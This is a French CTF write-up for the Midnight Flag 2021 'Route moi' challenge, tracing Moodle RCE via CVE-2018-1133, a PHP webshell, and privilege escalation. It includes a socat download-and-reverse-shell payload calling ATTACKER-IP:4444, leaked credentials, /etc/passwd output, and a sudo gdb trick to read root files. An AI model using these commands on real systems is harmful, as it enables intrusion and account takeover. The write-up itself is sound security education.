Midnight Flag CTF 2021 — Réaliste — Route moi — Write-up

Flag To The Future — Midnight Flag

Le 10 avril 2021, l’ESN’HACK a lancé le CTF Midnight Flag (page d’accueil du CTF). Notre équipe a fini 4ème au classement général sur plus d’une centaine d’équipe.

Tableau des scores
Tableau des scores

Dans ce write-up, il sera question de la résolution d’un challenge réaliste scindé en 2 parties et réalisé par Worty.

Route-moi — Mel

Cette épreuve commence avec l’énoncé suivant :

On vous appelle à l’aide !

Un étudiant nommé Mel a créé une plateforme qui reprend les idées du célèbre site root-me en faisant payer les cours.

Il a récemment migré sa plateforme qui était sur Wordpress vers Moodle pour vous donner accès à un cours d’exemple pour vous donner envie d’acheter.

Votre but premier est d’obtenir un shell sur la machine avec l’utilisateur de Mel.

L’objectif est donc clair obtenir un shell en tant que Mel sur la machine mise à disposition.

Sur le lien fourni, on trouve en effet un Moodle.

Page d’acceuil de Moodle
Page d’acceuil de Moodle
Page de login de Moodle
Page de login de Moodle

On remarque l’interface de connexion classique ainsi qu’un cours accessible sans compte.

Cours accessible sans compte sur Moodle
Cours accessible sans compte sur Moodle

Sur ce cours un lien saute aux yeux : le github de Mel !

Un dépôt public est accessible :

Dépôt github public
Dépôt github public

En parcourant les commits sur ce projet on trouve des informations très intéressantes !

Commits du dépôt github
Commits du dépôt github
Commit intéressant sur le dépôt github
Commit intéressant sur le dépôt github

En effet il s’agit d’un backup (.php.bak) du fichier de configuration de Moodle commité puis supprimé.

On récupère dans ce fichier plusieurs informations intéressantes:

  • La version de Moodle 3.4.1
  • Les identifiants de connexion de Mel sur Moodle
  • Le type de base de données MySQL
  • Les identifiants de connexion à la base de données
// Moodle
$CFG->version = ‘3.4.1’;
$CFG->username = ‘meltheboss’;
$CFG->password = ‘R0uteM01!#’;
// DB
$CFG->dbtype: ‘mysqli’;
$CFG->dbuser: ‘kira’;
$CFG->dbpass: ‘eeICBkn2kiyWZMayas6o3’;

On peut alors tester la connexion sur Moodle en tant que Mel.

C’est bon !

Les informations du fichier de configuration ont l’air toujours pertinentes.

On a accès à l’interface de Moodle avec un compte formateur et on peut créer/éditer des cours… Bien, mais pour quoi faire ?

Maintenant que la version précise de Moodle est connue, nous allons pouvoir effectuer une recherche de vulnérabilités.

Il ne faut pas longtemps sur Google avec la recherche “exploit moodle 3.4.1” pour trouver un exploit intéressant.

En effet le premier résultat parle de la CVE 2018–1133 qui permet de réaliser une exécution de code à distance (Remote Code Execution) avec un compte formateur sur Moodle en version 3.4.1.

Exactement ce qu’il nous faut !

Si on parcourt le code de l’exploit, on remarque une succession d’action sur un quizz afin de créer une question de type spécifique avec un payload dans une variable de substitution.

En testant l’exploit on obtient le retour suivant :

* — — — — — — — — — — — — — — — *
* Noodle [Moodle RCE] (v3.4.1) *
* — — — — — — — — — — — — — — — *
[!] Make sure you have a listener
[!] at ATTACKER-IP:4444
[*] Logging in as user meltheboss with password R0uteM01!#
[+] Successful Login
[>] Moodle Session pckrulmghhig58ujs4ts088jm2
[>] Moodle Key afoF4SfhmS
[*] Loading Course ID 2
[+] Successfully Loaded Course
[*] Enable Editing
[+] Successfully Enabled Course Editing
[*] Adding Quiz
[+] Successfully Added Quiz
[*] Configuring New Quiz
[+] Successfully Configured Quiz
[*] Loading Edit Quiz Page
[+] Successfully Loaded Edit Quiz Page
[*] Adding Calculated Question
[+] Successfully Added Calculation Question
[*] Adding Evil Question
[-] EVIL QUESTION CREATION FAILED!

La dernière étape, celle de la création de la question sur Moodle qui porte le payload a échoué… ❌

Cet article de blog explique les étapes de l’exploit.

Il y a même une vidéo pas à pas !

https://blog.ripstech.com/videos/moodle-passwd_CONV.mp4

On peut donc essayer à la main.

On ajoute la question de type Calculated.

Ajout d’une question au quizz
Ajout d’une question au quizz

On ajoute le payload (webshell php) dans la variable de substitution de la question.

Ajout du payload dans la variable de substitution de la question
Ajout du payload dans la variable de substitution de la question

Après avoir sauvegarder on peut alors tester le webshell php :

http://217.160.15.230:39910/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D2%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=1&wizardnow=datasetitems&cmid=2&0=ls%20-al%20./%20%3E%20../test.txt

La commande exécutée ici est :

ls -al ./ > ../test.txt

Donc si ça marche on devrait obtenir le retour sur l’URL :

http://217.160.15.230:39910/test.txt
Retour de la commande exécutée dans le webshell depuis Moodle
Retour de la commande exécutée dans le webshell depuis Moodle

Cela marche !

Sans plus attendre, on tente l’obtention d’un vrai shell.

Voici le payload utilisé :

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:ATTACKER-IP:4444

On télécharge un binaire de socat qu’on place dans /tmp/socat, on lui donne tous les droits (777 on a le droit c’est un CTF) et on lance un reverse shell.

Cela donne l’URL suivante :

http://217.160.15.230:39910/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D2%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=1&wizardnow=datasetitems&cmid=2&0=wget%20-q%20https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat%20-O%20/tmp/socat;%20chmod%20777%20/tmp/socat;%20/tmp/socat%20exec:%27bash%20-li%27,pty,stderr,setsid,sigint,sane%20tcp:ATTACKER-IP:4444

Sur ma machine j’écoute sur le port 4444 :

nc -lvp 4444
Connection from 217.160.15.230:56218
www-data@9bc902ace084:/var/www/html/question$ whoami
whoami
www-data

Bingo ! … enfin presque whoami retourne www-data et non Mel.

On peut alors regarder le contenu de /etc/passwd :

www-data@9bc902ace084:/var/www/html/question$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
meltheboss:x:1000:1000::/home/meltheboss:/bin/sh
ftp:x:101:103:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
mysql:x:102:104:MySQL Server,,,:/nonexistent:/bin/false
systemd-network:x:103:106:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:104:107:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:105:109::/nonexistent:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin

Il faut donc trouver un moyen de devenir meltheboss.

Parmi les informations intéressantes récupérées sur le github de Mel, il y a des identifiants de connexion à MySQL.

On peut tenter de se connecter et regarder le contenu des bases de données.

www-data@9bc902ace084:/var/www/html/question$ mysql -u kira --password="eeICBkn2kiyWZMyas6o3"
$ mysql -u kira --password="eeICBkn2kiyWZMyas6o3"
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 228
Server version: 5.7.33-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

Les identifiants de connexions sont bien valides. ✅

On peut lister les bases de données.

mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| moodle |
| mysql |
| performance_schema |
| sys |
| wordpress |
+--------------------+
6 rows in set (0.00 sec)

La présence de la base de données wordpress est surprenante, Mel a supprimé le service, mais il reste peut être des informations intéressantes.

mysql> use wordpress;
use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from wp_users;
select * from wp_users;
+----+------------+------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+
| 1 | meltheboss | UDRzc3cwcmQwZm0zbCEhCg | mel | mel@theboss.fr | | 2021-03-09 18:35:44 | | 0 | MelTheBoss |
+----+------------+------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)
mysql> exit
exit
Bye

En voilà une surprise, des identifiants de connexions pour meltheboss. 🎁

Cela ressemble à de la base64 non ?

www-data@9bc902ace084:/var/www/html/question$ print "UDRzc3cwcmQwZm0zbCEhCg==" | base64 -dP4ssw0rd0fm3l!!

Et bien la réponse est oui !

Pourquoi ne pas tenter de se connecter en SSH avec ce nouveau mot de passe ?

ssh meltheboss@217.160.15.230 -p 55183Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-66-generic x86_64)* Documentation:  https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun Apr 11 21:32:28 2021 from 87.231.53.88
$ whoami
meltheboss
$ cat flag.txt
MCTF{m00dl3_w4s_4_r34lly_b4d_1d34}

L’objectif est atteint, le premier flag se dévoile ! 🚩

Route-moi — Root

Le challenge continue avec l’énoncé suivant :

Bien joué ! Vous y êtes presque !

Pour pouvoir supprimer entièrement le serveur, vous allez devoir passer root sur la machine, à vous de trouver comment !

Il est question désormais de passer root sur la machine (ou seulement récupérer le flag de root).

Premier réflexe :

  • sudo -l en tant que meltheboss afin d’obtenir la liste des potentiels exécutables en tant que root.
$ sudo -l
Matching Defaults entries for meltheboss on 9bc902ace084:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User meltheboss may run the following commands on 9bc902ace084:
(ALL) NOPASSWD: /usr/local/bin/gdb_fork.py

En tant que meltheboss on peut exécuter /user/local/bin/gdb_fork.py en tant que root.

Si ce script python peut nous permettre de lire des fichiers ou d’exécuter des commandes c’est gagné.

Il faut d’abord voir comment il fonctionne.

sudo /usr/local/bin/gdb_fork.py
Absolute path of the file to execute: /tmp/test.py
/tmp/test.py
The content of the file does not seem to look like valid instructions executable by gdb or the PID is invalid or you try to attach to a forbidden process.
Example valid file:
import gdb
gdb.execute('attach x')
gdb.execute('i r a')
gdb.execute('quit')

Ce script demande à l’utilisateur de renseigner le chemin absolu d’un fichier.

Le fichier fourni était vide, le script nous affiche une erreur avec un exemple de fichier attendu pratique !

import gdb
gdb.execute('attach x')
gdb.execute('i r a')
gdb.execute('quit')

Le script python semble attendre un autre script aussi en python afin d’exécuter des fonctions depuis le module gdb.

gdb est un débogueur très connu et sur GTFOBins on remarque le payload pour obtenir un shell depuis un gdb avec suid.

sudo install -m =xs $(which gdb) ../gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

On remarque l’utilisation de script python dans gdb.

On peut donc essayer d’adapter ce payload dans un script python en utilisant le module gdb pour lire le flag de root.

Cela donne :

import gdbgdb.execute('python print(open("/root/flag.txt").read())')

Du python qui exécute du python qui exécute gdb qui exécute du python… 🐍

Il n’y a plus qu’à essayer.

$ sudo /usr/local/bin/gdb_fork.py test.py
Absolute path of the file to execute: /tmp/test.py
MCTF{w00t_m3lth3b0ss_u_s4v3_r00t_m3_!!}
(gdb) quit
$

Cela fonctionne et on obtient le dernier flag ! 🚩 ✨

Il ne reste plus qu’à supprimer les fichiers du Moodle pour mettre un terme à cette plateforme.

Merci à Worty pour ce challenge !

French CTF team